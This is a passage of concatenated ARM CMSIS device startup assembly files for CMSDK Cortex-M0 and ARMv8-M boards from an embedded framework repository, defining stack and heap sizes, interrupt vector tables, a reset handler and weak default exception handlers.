; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000C00
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
B .
ENDP
ALIGN
; User Initial Stack & Heap
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap PROC
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ENDP
ALIGN
ENDIF
END
|
vsfteam/vsf | 15,316 | source/hal/driver/arm/mps2/common/V2M-MPS2_CMx_BSP/1.7.1/Device/CMSDK_ARMv8MML/Source/ARM/startup_CMSDK_ARMv8MML.s | ;/**************************************************************************//**
; * @file startup_CMSDK_ARMv8MML.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_ARMv8MML Device
; * @version V1.04
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2015 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000C00
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD SecureFault_Handler ; Secure Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
DCD GPIO1_0_Handler ; 32 GPIO 1 individual interrupt ( 0)
DCD GPIO1_1_Handler ; 33 GPIO 1 individual interrupt ( 1)
DCD GPIO1_2_Handler ; 34 GPIO 1 individual interrupt ( 2)
DCD GPIO1_3_Handler ; 35 GPIO 1 individual interrupt ( 3)
DCD GPIO1_4_Handler ; 36 GPIO 1 individual interrupt ( 4)
DCD GPIO1_5_Handler ; 37 GPIO 1 individual interrupt ( 5)
DCD GPIO1_6_Handler ; 38 GPIO 1 individual interrupt ( 6)
DCD GPIO1_7_Handler ; 39 GPIO 1 individual interrupt ( 7)
DCD GPIO1_8_Handler ; 40 GPIO 1 individual interrupt ( 0)
DCD GPIO1_9_Handler ; 41 GPIO 1 individual interrupt ( 9)
DCD GPIO1_10_Handler ; 42 GPIO 1 individual interrupt (10)
DCD GPIO1_11_Handler ; 43 GPIO 1 individual interrupt (11)
DCD GPIO1_12_Handler ; 44 GPIO 1 individual interrupt (12)
DCD GPIO1_13_Handler ; 45 GPIO 1 individual interrupt (13)
DCD GPIO1_14_Handler ; 46 GPIO 1 individual interrupt (14)
DCD GPIO1_15_Handler ; 47 GPIO 1 individual interrupt (15)
DCD SPI_0B_Handler ; 48 SPI #0 interrupt
DCD 0 ; 49 Reserved
DCD SECURETIMER0_Handler ; 50 Secure Timer 0 interrupt
DCD SECURETIMER1_Handler ; 51 Secure Timer 1 interrupt
DCD SPI_1B_Handler ; 52 SPI #1 interrupt
DCD SPI_2B_Handler ; 53 SPI #2 interrupt
DCD SPI_3B_Handler ; 54 SPI #3 interrupt
DCD SPI_4B_Handler ; 55 SPI #4 interrupt
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SecureFault_Handler\
PROC
EXPORT SecureFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
EXPORT GPIO1_0_Handler [WEAK]
EXPORT GPIO1_1_Handler [WEAK]
EXPORT GPIO1_2_Handler [WEAK]
EXPORT GPIO1_3_Handler [WEAK]
EXPORT GPIO1_4_Handler [WEAK]
EXPORT GPIO1_5_Handler [WEAK]
EXPORT GPIO1_6_Handler [WEAK]
EXPORT GPIO1_7_Handler [WEAK]
EXPORT GPIO1_8_Handler [WEAK]
EXPORT GPIO1_9_Handler [WEAK]
EXPORT GPIO1_10_Handler [WEAK]
EXPORT GPIO1_11_Handler [WEAK]
EXPORT GPIO1_12_Handler [WEAK]
EXPORT GPIO1_13_Handler [WEAK]
EXPORT GPIO1_14_Handler [WEAK]
EXPORT GPIO1_15_Handler [WEAK]
EXPORT SPI_0B_Handler [WEAK]
EXPORT SECURETIMER0_Handler [WEAK]
EXPORT SECURETIMER1_Handler [WEAK]
EXPORT SPI_1B_Handler [WEAK]
EXPORT SPI_2B_Handler [WEAK]
EXPORT SPI_3B_Handler [WEAK]
EXPORT SPI_4B_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
GPIO1_0_Handler
GPIO1_1_Handler
GPIO1_2_Handler
GPIO1_3_Handler
GPIO1_4_Handler
GPIO1_5_Handler
GPIO1_6_Handler
GPIO1_7_Handler
GPIO1_8_Handler
GPIO1_9_Handler
GPIO1_10_Handler
GPIO1_11_Handler
GPIO1_12_Handler
GPIO1_13_Handler
GPIO1_14_Handler
GPIO1_15_Handler
SPI_0B_Handler
SECURETIMER0_Handler
SECURETIMER1_Handler
SPI_1B_Handler
SPI_2B_Handler
SPI_3B_Handler
SPI_4B_Handler
B .
ENDP
ALIGN
; User Initial Stack & Heap
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap PROC
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ENDP
ALIGN
ENDIF
END
|
vsfteam/vsf | 10,801 | source/hal/driver/arm/mps2/common/V2M-MPS2_CMx_BSP/1.7.1/Device/CMSDK_CM0/Source/ARM/startup_CMSDK_CM0.s | ;/**************************************************************************//**
; * @file startup_CMSDK_CM0.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_CM0 Device
; * @version V3.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2011 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000C00
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
B .
ENDP
ALIGN
; User Initial Stack & Heap
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap PROC
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ENDP
ALIGN
ENDIF
END
|
vsfteam/vsf | 14,541 | source/hal/driver/arm/mps2/common/V2M-MPS2_CMx_BSP/1.7.1/Device/CMSDK_ARMv8MBL/Source/ARM/startup_CMSDK_ARMv8MBL.s | ;/**************************************************************************//**
; * @file startup_CMSDK_ARMv8MBL.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_ARMv8MBL Device
; * @version V1.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2015 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; <h> Stack Configuration
